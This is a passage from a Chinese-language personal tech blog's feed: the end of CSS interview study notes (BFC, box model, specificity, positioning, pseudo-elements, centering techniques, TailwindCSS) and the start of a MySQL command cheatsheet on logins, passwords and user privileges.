<li>具有<code>opacity: 0</code>的元素是可以互动的，因为它们<strong>实际上是可见</strong>的，只是非常透明。opacity 属性并不指定一个元素的可见性——它只指定透明度</li>
<li>参考: <a href="https://www.freecodecamp.org/chinese/news/css-display-none-and-visibility-hidden-the-difference/"  target="_blank" rel="noopener" >CSS display:none 和 visibility:hidden 的区别</a></li>
</ul>
<hr>
<h2 id="bfc-vs-ifc">BFC v.s IFC</h2>
<h3 id="bfc">BFC</h3>
<ul>
<li>块级格式上下文 (Block Formatting Context)</li>
<li>概念
<ol>
<li>一个独立的渲染区域，只有Block-level box参与</li>
<li>规定了内部的Block-level Box如何布局，并且与这个区域外部毫不相干。</li>
</ol>
</li>
<li>规则
<ol>
<li>内部的Box会在垂直方向，一个接一个地放置</li>
<li>BFC就是页面上的一个隔离的独立容器，容器里面的子元素不会影响到外面的元素。反之也如此。</li>
</ol>
</li>
<li>产生
<ol>
<li>overflow的值不为visible。(这个是最推荐开启bfc的,副作用最小)</li>
<li>position的值不为relative和static。</li>
<li>display的值为table-cell, table-caption, inline-block中的任何一个。</li>
</ol>
</li>
<li>使用场景
<ol>
<li>自适应两栏布局</li>
<li>清除内部浮动</li>
<li>防止margin重叠</li>
<li>实现更健壮、更智能的自适应布局。</li>
</ol>
</li>
</ul>
<h3 id="ifc">IFC</h3>
<ul>
<li>内联格式化上下文（inline formatting context）</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_display/Block_formatting_context"  target="_blank" rel="noopener" >区块格式化上下文 - CSS：层叠样式表 | MDN</a></li>
<li><a href="https://github.com/YvetteLau/Step-By-Step/issues/15"  target="_blank" rel="noopener" >什么是BFC？BFC的规则是什么？如何创建BFC？ · Issue #15 · YvetteLau/Step-By-Step</a></li>
</ul>
<hr>
<h2 id="盒模型">盒模型</h2>
<h3 id="四部分组成">四部分组成</h3>
<ol>
<li>元素内容（content）：</li>
<li>内边距（padding）</li>
<li>边框（border）</li>
<li>外边距（margin）</li>
</ol>
<h3 id="分类-1">分类</h3>
<ol>
<li>W3C 标准盒子模型: width/height 只是内容高度</li>
<li>IE 怪异盒子模型: width/height 包含了 padding和 border</li>
</ol>
<h3 id="box-sizing">box-sizing</h3>
<ul>
<li>语法: <code>box-sizing: content-box|border-box|inherit:</code></li>
</ul>
<hr>
<h2 id="css中可以和不可以继承的属性">CSS中可以和不可以继承的属性</h2>
<ul>
<li>具体参见<a href="https://www.cnblogs.com/thislbq/p/5882105.html"  target="_blank" rel="noopener" >CSS中可以和不可以继承的属性 - KerwinLee - 博客园</a></li>
<li>基本原则:
<ul>
<li>文本属性和字体属性通常是可以继承的: font-size, font-weight, line-height, color, cursor,letter-spacing等</li>
<li>涉及到盒模型属性，布局属性(例如，display, position)，背景属性普遍是不能继承: display, margin，border，padding，height等</li>
<li>需要特别注意的是元素可见性属性(visibility)是可以继承的</li>
</ul>
</li>
<li>验证: 开发者工具，选择具体元素并查看元素选项，若为灰色则不可继承</li>
<li>参考
<ul>
<li><a href="https://juejin.cn/post/7065209860400349191"  target="_blank" rel="noopener" >如何确定一个 CSS 属性是否可以被继承基本原则 文本属性和字体方属性通常是可以继承的，盒模型属性，布局属性，背景属性普 - 掘金</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="优先级">优先级</h2>
<h3 id="选择器">选择器</h3>
<ul>
<li>id选择器: <code>#id{}</code></li>
<li>类选择器: <code>.class{}</code></li>
<li>属性选择器: <code>a[href=&quot;ds63.eu.org&quot;]{}</code></li>
<li>伪类选择器: <code>::before{}</code></li>
<li>标签选择器: <code>span{}</code></li>
<li>通配选择器: <code>*{}</code></li>
</ul>
<h3 id="规则">规则</h3>
<ol>
<li>最近的祖先样式比其他祖先样式优先级高</li>
<li>&ldquo;直接样式&quot;比&quot;祖先样式&quot;优先级高</li>
<li>优先级顺序: 内联样式 &gt; ID 选择器 &gt; 类选择器 = 属性选择器 = 伪类选择器 &gt; 标签选择器 = 伪元素选择器</li>
<li>计算选择符中 ID 选择器的个数（a），计算选择符中类选择器、属性选择器以及伪类选择器的个数之和（b），计算选择符中标签选择器和伪元素选择器的个数之和（c）。按 a、b、c 的顺序依次比较大小，大的则优先级高，相等则比较下一个。若最后两个的选择符中 a、b、c 都相等，则按照&quot;就近原则&quot;来判断。</li>
<li>属性后插有<code>!important</code>的属性拥有最高优先级。若同时插有 !important，则再利用规则 3、4 判断优先级</li>
</ol>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://www.runoob.com/w3cnote/css-style-priority.html"  target="_blank" rel="noopener" >CSS 样式优先级 | 菜鸟教程</a></li>
<li><a href="https://www.explainthis.io/zh-hans/swe/css-specificity"  target="_blank" rel="noopener" >请说明 CSS 选择器的优先级｜ExplainThis</a></li>
</ul>
<hr>
<h2 id="position">position</h2>
<h3 id="static"><code>static</code></h3>
<p>默认值。没有定位，元素出现在正常的流中（忽略top,bottom,left,right,z-index声明）。</p>
<h3 id="absolute"><code>absolute</code></h3>
<ul>
<li>生成绝对定位的元素，相对于<strong>值不为static的第一个父元素的paddingbox</strong>进行定位</li>
<li>在父元素没有设置相对定位或绝对定位的情况下，元素相对于根元素定位（即html元素）</li>
<li>元素会脱离文档流</li>
</ul>
<h3 id="fixed"><code>fixed</code></h3>
<ul>
<li>生成绝对定位的元素，相对于浏览器窗口进行定位。</li>
</ul>
<h3 id="relative"><code>relative</code></h3>
<ul>
<li>生成相对定位的元素，相对于<strong>其元素本身所在正常位置</strong>进行定位。</li>
</ul>
<h3 id="inherit"><code>inherit</code></h3>
<ul>
<li>规定从父元素继承position属性的值。</li>
</ul>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://www.runoob.com/w3cnote/css-position-static-relative-absolute-fixed.html"  target="_blank" rel="noopener" >CSS position 相对定位和绝对定位 | 菜鸟教程</a></li>
</ul>
<hr>
<h2 id="伪类与伪元素">伪类与伪元素</h2>
<h3 id="伪类">伪类</h3>
<ul>
<li><code>:hover</code></li>
<li><code>:focus</code></li>
<li><code>:first-child</code></li>
<li><code>:nth-child(n)</code></li>
<li>LVHA
<ol>
<li><code>:link</code></li>
<li><code>:visited</code></li>
<li><code>:hover</code></li>
<li><code>:active</code></li>
</ol>
</li>
</ul>
<h3 id="伪元素">伪元素</h3>
<ul>
<li>用户无法直接选中或复制 CSS 伪元素: 因为伪元素生成的内容并不是真正的 DOM 元素，而是由浏览器在渲染时动态插入的,这也是伪元素为什么叫“伪”元素。</li>
<li><code>::before</code>,<code>::after</code>
<ul>
<li>Accessibility: Using a ::before pseudo-element to add content is <strong>discouraged</strong>, as it is not reliably accessible to screen readers.</li>
<li><code>content</code>
<ul>
<li>属性:
<ul>
<li><code>url</code></li>
<li><code>counter</code></li>
<li><code>attr(X)</code>: 将元素的 X 属性以字符串形式返回。如果该元素没有 X 属性，则返回一个空字符串</li>
</ul>
</li>
<li>示例
<ul>
<li><code>content: url(http://www.mozilla.org/favicon.ico) &quot; MOZILLA: &quot;;</code></li>
<li><code>content: &quot; (&quot; attr(id) &quot;)&quot;;</code> 这里的id即该元素的id</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><code>::first-letter</code></li>
<li><code>::first-line</code></li>
<li><code>::selection</code>: 	选择用户选择的元素部分。</li>
</ul>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://www.w3school.com.cn/css/css_pseudo_classes.asp"  target="_blank" rel="noopener" >CSS 伪类</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/:link"  target="_blank" rel="noopener" >:link - CSS：层叠样式表 | MDN</a></li>
<li><a href="https://www.w3school.com.cn/css/css_pseudo_elements.asp"  target="_blank" rel="noopener" >CSS 伪元素</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/::before"  target="_blank" rel="noopener" >::before - CSS: Cascading Style Sheets | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/content"  target="_blank" rel="noopener" >content - CSS：层叠样式表 | MDN</a></li>
</ul>
<hr>
<h2 id="letter-spacing">letter-spacing</h2>
<ul>
<li>用于设置文本字符的间距表现</li>
<li>可继承</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/letter-spacing"  target="_blank" rel="noopener" >letter-spacing - CSS: Cascading Style Sheets | MDN</a></li>
</ul>
<h2 id="grid">GRID</h2>
<p>wip</p>
<hr>
<h2 id="transforms">Transforms</h2>
<ul>
<li>We can use translate to shift an item along in either axis:
<ul>
<li>x moves side to side, y moves up and down.</li>
<li>Positive values move down and to the right. Negative values move up and to the left.</li>
</ul>
</li>
<li>the item&rsquo;s in-flow position doesn&rsquo;t change</li>
<li><code>calc</code>: 示例： <code>transform: translateX(calc(15% + -8px));</code></li>
<li>参考: <a href="https://www.joshwcomeau.com/css/transforms/"  target="_blank" rel="noopener" >CSS Transforms tutorial</a></li>
</ul>
<hr>
<h2 id="animation">animation</h2>
<ul>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">cylon_eye</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">animation</span><span class="p">:</span> <span class="mi">4</span><span class="kt">s</span> <span class="kc">linear</span> <span class="mi">0</span><span class="kt">s</span> <span class="kc">infinite</span> <span class="kc">alternate</span> <span class="n">move_eye</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">keyframes</span> <span class="nt">move_eye</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">from</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">margin-left</span><span class="p">:</span> <span class="mi">-20</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nt">to</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">margin-left</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span></code></pre></div></li>
<li>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation"  target="_blank" rel="noopener" >animation - CSS：层叠样式表 | MDN</a></li>
</ul>
<hr>
<h2 id="媒体查询">媒体查询</h2>
<ul>
<li>语法: <code>@media (min-width: 30em) and (orientation: landscape) { ... }</code></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_media_queries/Using_media_queries"  target="_blank" rel="noopener" >使用媒体查询 - CSS：层叠样式表 | MDN</a></li>
</ul>
<hr>
<h2 id="预处理器">预处理器</h2>
<ul>
<li>LESS</li>
<li>SCSS</li>
<li>PostCSS</li>
</ul>
<h3 id="lesssass解决了什么问题">less/sass解决了什么问题</h3>
<p>wip</p>
<h3 id="css-in-js-与-less-sass预处理器的好处">css in js 与 less sass预处理器的好处</h3>
<p>wip</p>
<ul>
<li><a href="http://blog.fantasy.codes/css/2021/09/10/css-in-js-debet/"  target="_blank" rel="noopener" >CSS-in-JS 技术解惑</a></li>
</ul>
<hr>
<h2 id="现代化-css-开发流程">现代化 CSS 开发流程</h2>
<ul>
<li>借助@mixin、@extend等预处理器提供的方法，可以复用 css 代码片段，甚至在 css 中写一些逻辑。</li>
<li>借助autoprefixer、px2rem等 postcss 工具，不需要写繁琐的前缀和单位转换。</li>
<li>借助css module、css scoped等工具，不用考虑样式冲突，以至于不用过多地考虑命名了。</li>
<li>借助BEM命名规范，解决命名难</li>
<li>参考
<ul>
<li><a href="https://www.shymean.com/article/%E5%85%B3%E4%BA%8ETailwindCSS%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%9D%E8%80%83"  target="_blank" rel="noopener" >关于TailwindCSS的一些思考 | ShyMean</a></li>
<li><a href="https://juejin.cn/post/6844903672162304013"  target="_blank" rel="noopener" >CSS — BEM 命名规范Bem 是块（block）、元素（element）、修饰符（modifier）的简写，由 Y - 掘金</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="tailwindcss">TailwindCSS</h2>
<ul>
<li>工作原理：扫描所有文件的类名，生成相应的样式，然后将它们写入静态 CSS 文件。</li>
<li>JIT 引擎（Just-In-Time）:在编译过程才去扫描html 文件，在这个过程中去识别使用了哪些类名，然后才生成对应的样式</li>
<li>缺点:
<ol>
<li>每个标签的 class 都很长，语义化的可读性；</li>
<li>如果全都使用原子类来构建页面，则维护起来是很麻烦的</li>
<li>选择器嵌套、后代选择器等 css 的特点看起来也是不太好用上了</li>
</ol>
</li>
<li>优点:
<ol>
<li>通过自定义原子类，能约定好设计规范,规范好标题字号、颜色，这个盒子内边距、外边距之类的属性</li>
<li>通过<a href="https://tailwindcss.com/docs/reusing-styles#extracting-classes-with-apply"  target="_blank" rel="noopener" >@apply</a>可以将一堆原子类合并到一个独立的类名中,就能结合原子类的样式复用和语义化类名容易维护的优点,由此一定程度上解决缺点1</li>
<li>针对维护麻烦的问题，可以将常用组件进行封装, 由此一定程度上解决缺点2</li>
</ol>
</li>
<li>缺点:
<ol>
<li>每个标签的 class 都很长，语义化的可读性；</li>
<li>如果全都使用原子类来构建页面，则维护起来是很麻烦的</li>
<li>选择器嵌套、后代选择器等 css 的特点看起来也是不太好用上了</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://michaeljier.cn/blog/diving-into-tailwindcss"  target="_blank" rel="noopener" >深入浅出 tailwindcss</a></li>
<li><a href="https://www.shymean.com/article/%E5%85%B3%E4%BA%8ETailwindCSS%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%9D%E8%80%83"  target="_blank" rel="noopener" >关于TailwindCSS的一些思考 | ShyMean</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="scroll-timeline">scroll-timeline</h2>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/scroll-timeline"  target="_blank" rel="noopener" >scroll-timeline - CSS: Cascading Style Sheets | MDN</a></p>
<hr>
<h2 id="问答题">问答题</h2>
<h3 id="显示小于12px文字">显示小于12px文字</h3>
<ol>
<li>使用transform: scale()</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">small-text</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mi">10</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">transform</span><span class="p">:</span> <span class="nb">scale</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">transform-origin</span><span class="p">:</span> <span class="kc">left</span> <span class="kc">top</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="2">
<li>使用-webkit-text-size-adjust</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">small-text</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kp">-webkit-</span><span class="n">text-size-adjust</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mi">10</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="3">
<li>使用vw单位</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">small-text</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mf">0.625</span><span class="kt">vw</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://juejin.cn/post/7419532688972464137"  target="_blank" rel="noopener" >前端面试题，显示小于12px文字Chrome显示小于12px文字 难度: 困难 公司: 百度 标签: CSS 字体大小 - 掘金</a></li>
</ul>
<h3 id="css画三角形">css画三角形</h3>
<ul>
<li>等腰三角形</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nt">style</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">.</span><span class="nc">filled-triangle</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">width</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">height</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-bottom</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">cyan</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-top</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">transparent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-left</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">transparent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-right</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">transparent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;/</span><span class="nt">style</span><span class="o">&gt;</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://github.com/Advanced-Frontend/Daily-Interview-Question/issues/518"  target="_blank" rel="noopener" >第207题：CSS 如何实现一个三角形？ · Issue #518 · Advanced-Frontend/Daily-Interview-Question</a></li>
</ul>
<h3 id="如何实现水平垂直居中">如何实现水平垂直居中</h3>
<ol>
<li><strong>Flexbox</strong>
适用于块级容器中的元素垂直居中。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">flex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">justify-content</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 水平居中 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">align-items</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 垂直居中 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span> <span class="c">/* 确保容器有高度 */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="2">
<li><strong>Grid Layout</strong></li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="k">grid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">place-items</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 同时垂直和水平居中 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="3">
<li><strong>使用<code>line-height</code>（适用于单行文本）</strong>
如果只是文本，使用<code>line-height</code>与<code>height</code>相等可以达到垂直居中效果。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">line-height</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span> <span class="c">/* 与容器高度相同 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">text-align</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 水平居中 */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="4">
<li><strong>绝对定位 + 负边距</strong>
适用于已知元素宽高的情况下：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">position</span><span class="p">:</span> <span class="kc">relative</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">element</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">position</span><span class="p">:</span> <span class="kc">absolute</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">top</span><span class="p">:</span> <span class="mi">50</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">left</span><span class="p">:</span> <span class="mi">50</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">transform</span><span class="p">:</span> <span class="nb">translate</span><span class="p">(</span><span class="mi">-50</span><span class="kt">%</span><span class="p">,</span> <span class="mi">-50</span><span class="kt">%</span><span class="p">);</span> <span class="c">/* 通过transform偏移居中 */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="5">
<li><strong><code>table</code>布局</strong>
适用于需要兼容旧版浏览器的场景：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">table</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">element</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">table-cell</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">vertical-align</span><span class="p">:</span> <span class="kc">middle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">text-align</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="6">
<li><strong>CSS Variables（动态适应不同的场景）</strong>
可以结合Flexbox和Grid等方式，动态控制居中的方法。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">:</span><span class="nd">root</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">--container-height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">flex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">justify-content</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">align-items</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="kc">container</span><span class="o">-</span><span class="n">height</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://github.com/Advanced-Frontend/Daily-Interview-Question/issues/515"  target="_blank" rel="noopener" >第204题：如何实现元素的水平垂直居中？ · Issue #515 · Advanced-Frontend/Daily-Interview-Question</a></li>
</ul>
<h3 id="脱离文档流">脱离文档流</h3>
<ul>
<li>含义:
<ul>
<li>元素脱离文档流之后，将不再在文档流中占据空间，而是处于浮动状态（可以理解为漂浮在文档流的上方）。脱离文档流的元素的定位基于正常的文档流，当一个元素脱离文档流后，依然在文档流中的其他元素将忽略该元素并填补其原先的空间。</li>
</ul>
</li>
<li>方法
<ol>
<li>float</li>
<li>absolute</li>
<li>fixed</li>
</ol>
</li>
<li>参考: <a href="https://www.cnblogs.com/Tony-Ding/articles/11928919.html"  target="_blank" rel="noopener" >【css】脱离文档流的三种方法 - 十八力丁 - 博客园</a></li>
</ul>
<h3 id="如何实现响应式">如何实现响应式</h3>
<ol>
<li>减少使用绝对单位，而是使用相对单位</li>
<li>媒体查询</li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images"  target="_blank" rel="noopener" >响应式图片 - 学习 Web 开发 | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Responsive_Design"  target="_blank" rel="noopener" >响应式设计 - 学习 Web 开发 | MDN</a></li>
</ol>
<h3 id="如何实现固定宽高比">如何实现固定宽高比</h3>
<ul>
<li>参考: <a href="https://juejin.cn/post/6844904070679887886"  target="_blank" rel="noopener" >面试官：CSS如何实现固定宽高比 ？ - 掘金</a></li>
</ul>
<h3 id="实现三栏布局">实现三栏布局</h3>
<p>wip</p>
<h3 id="写个css当文本没有超过容器宽度时居中显示超过宽度则换行并左对齐displaytabel-cell或者widthfit-content但是忘了">写个css，当文本没有超过容器宽度时居中显示，超过宽度则换行，并左对齐（display:tabel-cell或者width:fit-content，但是忘了）</h3>
<p>wip</p>
<h3 id="用css实现一个模态窗口要从窗口下面向上弹的动画">用css实现一个模态窗口，要从窗口下面向上弹的动画</h3>
<p>wip</p>
<h3 id="如何保证让contextmenu出现在可视区域如何打开自己的contextmenu">如何保证让contextmenu出现在可视区域，如何打开自己的contextmenu</h3>
<p>wip</p>
<hr>
<h2 id="参考-5">参考</h2>
<ul>
<li><a href="https://segmentfault.com/a/1190000022021557#item-11"  target="_blank" rel="noopener" >104道 CSS 面试题，助你查漏补缺 - 前端笔记本 - SegmentFault 思否</a></li>
<li><a href="https://bgww.apachecn.org/CSS-%E9%9D%A2%E8%AF%95%E9%A2%98%EF%BC%88%E5%B1%B1%E6%9C%88%EF%BC%89/"  target="_blank" rel="noopener" >CSS 面试题（山月） - 【布客】八股文知识库</a></li>
<li><a href="https://www.joshwcomeau.com/css/interactive-guide-to-flexbox/"  target="_blank" rel="noopener" >An Interactive Guide to Flexbox in CSS</a></li>
<li><a href="https://www.ruanyifeng.com/blog/2015/07/flex-grammar.html"  target="_blank" rel="noopener" >Flex 布局教程：语法篇 - 阮一峰的网络日志</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/91470473"  target="_blank" rel="noopener" >flex 笔记（血与泪） - 知乎</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Mysql常用命令</title>
      <link>https://ds63.eu.org/2024/mysql_cheatsheet/</link>
      <pubDate>Thu, 04 Apr 2024 13:13:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/mysql_cheatsheet/</guid>
      <description>a cheatsheet of mysql</description>
      <content:encoded><![CDATA[<h2 id="登录">登录</h2>
<ul>
<li><code>sudo mysql -u root -p</code></li>
<li>注：
<ul>
<li>首次安装完成后，直接回车即可</li>
<li><code>-p</code> 提示用户输入密码</li>
<li><code>-h</code> 指定要连接的主机名或IP地址</li>
</ul>
</li>
</ul>
<h2 id="修改原始密码">修改原始密码</h2>
<ul>
<li><code>ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password by 'my-secret-password';</code></li>
</ul>
<h2 id="重置密码">重置密码</h2>
<ul>
<li>场景：忘记了已设置的密码</li>
<li>步骤:
<ol>
<li><code>sudo vim /etc/mysql/mysql.conf.d/mysqld.cnf</code></li>
<li>添加 <code>skip-grant-tables</code></li>
<li>重启mysql：<code>service mysql restart</code></li>
<li>登录 <code>mysql</code></li>
<li><code>FLUSH PRIVILEGES;</code></li>
<li><code>ALTER USER 'root'@'localhost' IDENTIFIED BY 'MyNewPass';</code></li>
<li>再次修改<code>/etc/mysql/mysql.conf.d/mysqld.cnf</code>,将<code>skip-grant-tables</code>注释掉</li>
</ol>
</li>
</ul>
<h2 id="新增用户">新增用户</h2>
<ul>
<li><code>CREATE USER '新用户名'@'域名' IDENTIFIED BY '密码';</code></li>
<li>注：如果无<code>IDENTIFIED BY '密码'</code>,则不会设置密码</li>
</ul>
<h2 id="权限">权限</h2>
<ul>
<li>赋予权限:
<ul>
<li><code>GRANT CREATE,SELECT ON database_name.* TO 'username'@'domain';</code></li>
